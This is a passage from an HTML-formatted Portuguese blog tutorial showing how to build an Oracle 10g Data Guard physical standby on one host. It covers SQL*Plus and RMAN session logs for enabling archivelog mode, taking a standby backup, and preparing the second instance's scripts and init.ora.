/&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; !ls -l /backup/n1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total 8&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-xr-x  2 oracle dba 4096 Jun  3 23:21 arch&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-xr-x  2 oracle dba 4096 Jun  3 23:11 n1dg&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter system set log_archive_dest_1='LOCATION=/backup/n1/arch';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter system set log_archive_format='%t_%s_%r.dbf' scope=spfile;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; shutdown immediate&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database closed.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database dismounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance shut down.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; startup mount&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance started.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Total System Global Area     608174080 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Fixed Size                     1263200 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Variable Size                180357536 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database Buffers             419430400 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Redo Buffers                   7122944 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database mounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter database archivelog;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; archive log list&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database log mode              Archive Mode&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Automatic archival             Enabled&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Archive destination            /backup/n1/arch&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oldest online log sequence     1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Next log sequence to archive   2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Current log sequence           2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; !ls -l /backup/n1/arch&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total 0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter database open;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; shutdown immediate&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database closed.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database dismounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance shut down.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; startup nomount&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance started.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Total System Global Area     608174080 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Fixed Size                     1263200 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Variable Size                184551840 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database Buffers             415236096 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Redo Buffers                   7122944 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter system set db_unique_name = 'n1' scope=spfile;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter database mount;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter database force logging;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter system set log_archive_config='DG_CONFIG=(n1, n2)';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter system set standby_file_management=auto;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter system set fal_client=n1;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter system set standby_archive_dest='/backup/n1/arch';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter system set fal_client=n1;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter system set fal_server=n2;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter database open;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; show parameter name&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;NAME                                 TYPE        VALUE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------ ----------- --------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;db_file_name_convert                 string&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;db_name                              string      N1DG&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;db_unique_name                       string      n1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;global_names                         boolean     FALSE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;instance_name                        string      n1dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;lock_name_space                      string&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_file_name_convert                string&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;service_names                        string      n1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Acima foram feitas as configurações básicas para a montagem do standby. O banco foi colocado em archivelog, forçado o log, definido nome único (db_unique_name=n1) e populados parâmetros do Dataguard, para melhor entendimento desses parâmetros, por favor &lt;a href="http://download-east.oracle.com/docs/cd/B19306_01/server.102/b14239/toc.htm"&gt;consulte o manual&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;A base está pronta para o backup, donde será criado o standby. O RMAN vai conectar-se a base &lt;span style="font-style: italic;"&gt;target&lt;/span&gt; (n1dg) e gerar o backup, note no script usado que o controlfile já será exportado para standby.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ echo $ORACLE_SID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;n1dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ rman target /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Recovery Manager: Release 10.2.0.3.0 - Production on Sun Jun 3 23:48:56 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2005, Oracle.  All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;connected to target database: N1DG (DBID=1215438780)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;RMAN&gt; list backup;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;using target database control file instead of recovery catalog&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;RMAN&gt; run {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;2&gt;   allocate channel d1 type disk;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;3&gt;   backup format '/backup/n1/df_t%t_s%s_p%p' database&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;4&gt;   include current controlfile for standby;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;5&gt;   sql 'alter system archive log current';&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;6&gt;   backup format '/backup/n1/al_t%t_s%s_p%p' archivelog all;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;7&gt;   release channel d1;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;8&gt; }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;allocated channel: d1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel d1: sid=144 devtype=DISK&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Starting backup at 03-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel d1: starting full datafile backupset&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel d1: specifying datafile(s) in backupset&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;input datafile fno=00001 name=/backup/n1/n1dg/system01.dbf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;input datafile fno=00003 name=/backup/n1/n1dg/sysaux01.dbf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;input datafile fno=00002 name=/backup/n1/n1dg/undotbs01.dbf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;input datafile fno=00004 name=/backup/n1/n1dg/users01.dbf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel d1: starting piece 1 at 03-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel d1: finished piece 1 at 03-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;piece handle=/backup/n1/df_t624325825_s1_p1 tag=TAG20070603T235025 comment=NONE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel d1: backup set complete, elapsed time: 00:00:25&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel d1: starting full datafile backupset&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel d1: specifying datafile(s) in backupset&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;including standby control file in backupset&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;including current SPFILE in backupset&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel d1: starting piece 1 at 03-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel d1: finished piece 1 at 03-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;piece handle=/backup/n1/df_t624325850_s2_p1 tag=TAG20070603T235025 comment=NONE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel d1: backup set complete, elapsed time: 00:00:03&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Finished backup at 03-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sql statement: alter system archive log current&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Starting backup at 03-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;current log archived&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel d1: starting archive log backupset&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel d1: specifying archive log(s) in backup set&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;input archive log thread=1 sequence=2 recid=1 stamp=624325853&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;input archive log thread=1 sequence=3 recid=2 stamp=624325853&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel d1: starting piece 1 at 03-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel d1: finished piece 1 at 03-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;piece handle=/backup/n1/al_t624325854_s3_p1 tag=TAG20070603T235053 comment=NONE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel d1: backup set complete, elapsed time: 00:00:02&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Finished backup at 03-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;released channel: d1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;RMAN&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Hora de configurar a instância nova. Para que possamos restaurar o backup do rman na nova instância ela necessita estar iniciada em &lt;span style="font-style: italic;"&gt;nomount&lt;/span&gt;. Para isso, vamos duplicar as áreas de diretórios (lembre-se que estou fazendo isso em uma mesma máquina, caso seu cenário seja em dois servidores, que é o correto, não há necessidade desta duplicação, basta criar a área da nova instância e criar o standby).&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ pwd&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/oracle/admin/n1dg/scripts&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ cd ..&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin n1dg]$ cd ..&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$ ll -tr&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total 16&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-x---  6 oracle dba 4096 Feb 15 14:22 +ASM&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-x---  8 oracle dba 4096 Feb 15 14:28 lx10g&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-xr-x  7 ora92  dba 4096 Mar 27 16:48 lx92&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-x---  9 oracle dba 4096 Jun  3 23:06 n1dg&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$ mkdir -p n2dg/scripts&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$ cd n2dg/scripts/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ cat ../../n1dg/scripts/n1dg.sh | sed '1,$s/n1dg/n2dg/' &amp;gt; n2dg.sh&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ cat n2dg.sh&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;#!/bin/sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;mkdir -p /backup/n1/n2dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;mkdir -p /oracle/10g/cfgtoollogs/dbca/n2dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;mkdir -p /oracle/10g/dbs&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;mkdir -p /oracle/admin/n2dg/adump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;mkdir -p /oracle/admin/n2dg/bdump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;mkdir -p /oracle/admin/n2dg/cdump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;mkdir -p /oracle/admin/n2dg/dpdump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;mkdir -p /oracle/admin/n2dg/pfile&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;mkdir -p /oracle/admin/n2dg/udump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE_SID=n2dg; export ORACLE_SID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;echo You should Add this entry in the /etc/oratab: n2dg:/oracle/10g:Y&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/oracle/10g/bin/sqlplus /nolog @/oracle/admin/n2dg/scripts/n1dg.sql&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ ll -tr&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total 4&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r--r--  1 oracle dba 482 Jun  3 23:57 n2dg.sh&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ sh ./n2dg.sh&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;You should Add this entry in the /etc/oratab: n2dg:/oracle/10g:Y&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.3.0 - Production on Sun Jun 3 23:58:13 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SP2-0310: unable to open file "/oracle/admin/n2dg/scripts/n1dg.sql"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ ps -ef | grep pmon_&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;oracle   28293     1  0 23:30 ?        00:00:00 ora_pmon_n1dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;oracle   28418 27728  0 23:58 pts/2    00:00:00 grep pmon_&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ cat ../../n1dg/scripts/init.ora | sed '1,$s/n1dg/n2dg/' | egrep -v '^#' &amp;gt; init.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ vi init.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ cat init.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;db_block_size=8192&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;db_file_multiblock_read_count=16&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;open_cursors=300&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;db_domain=""&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;db_name=n1dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;db_unique_name=n2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;background_dump_dest=/oracle/admin/n2dg/bdump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;core_dump_dest=/oracle/admin/n2dg/cdump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;user_dump_dest=/oracle/admin/n2dg/udump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;job_queue_processes=10&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;compatible=10.2.0.3.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;processes=150&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sga_target=605028352&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;audit_file_dest=/oracle/admin/n2dg/adump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;remote_login_passwordfile=EXCLUSIVE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;dispatchers="(PROTOCOL=TCP) (SERVICE=n2dgXDB)"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;pga_aggregate_target=201326592&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;undo_management=AUTO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;undo_tablespace=UNDOTBS1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;db_file_name_convert =('/backup/n1/n1dg', '/backup/n2/n2dg')&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_file_name_convert =('/backup/n1/n1dg', '/backup/n2/n2dg')&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ ll -tr&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total 8&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r--r--  1 oracle dba 482 Jun  3 23:57 n2dg.sh&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r--r--  1 oracle dba 646 Jun  4 00:04 init.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ ll /backup&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total 44484&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r--r--  1 marcio dba 45465757 May 19 16:51 anakin.dmp.18may07.gz&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwx-w----  2 oracle dba    16384 Feb 15 15:27 lost+found&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-xr-x  3 oracle dba     4096 May 24 00:38 lx10g&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-xr-x  3 ora92  dba     4096 May 21 00:39 lx92&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-xr-x  5 oracle dba     4096 Jun  3 23:58 n1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-xr-x  3 oracle dba     4096 May 24 00:27 tmp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ mkdir /backup/n2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ mkdir /backup/n2/n2dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ ll /backup&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total 44488&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r--r--  1 marcio dba 45465757 May 19 16:51 anakin.dmp.18may07.gz&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwx-w----  2 oracle dba    16384 Feb 15 15:27 lost+found&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-xr-x  3 oracle dba     4096 May 24 00:38 lx10g&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-xr-x  3 ora92  dba     4096 May 21 00:39 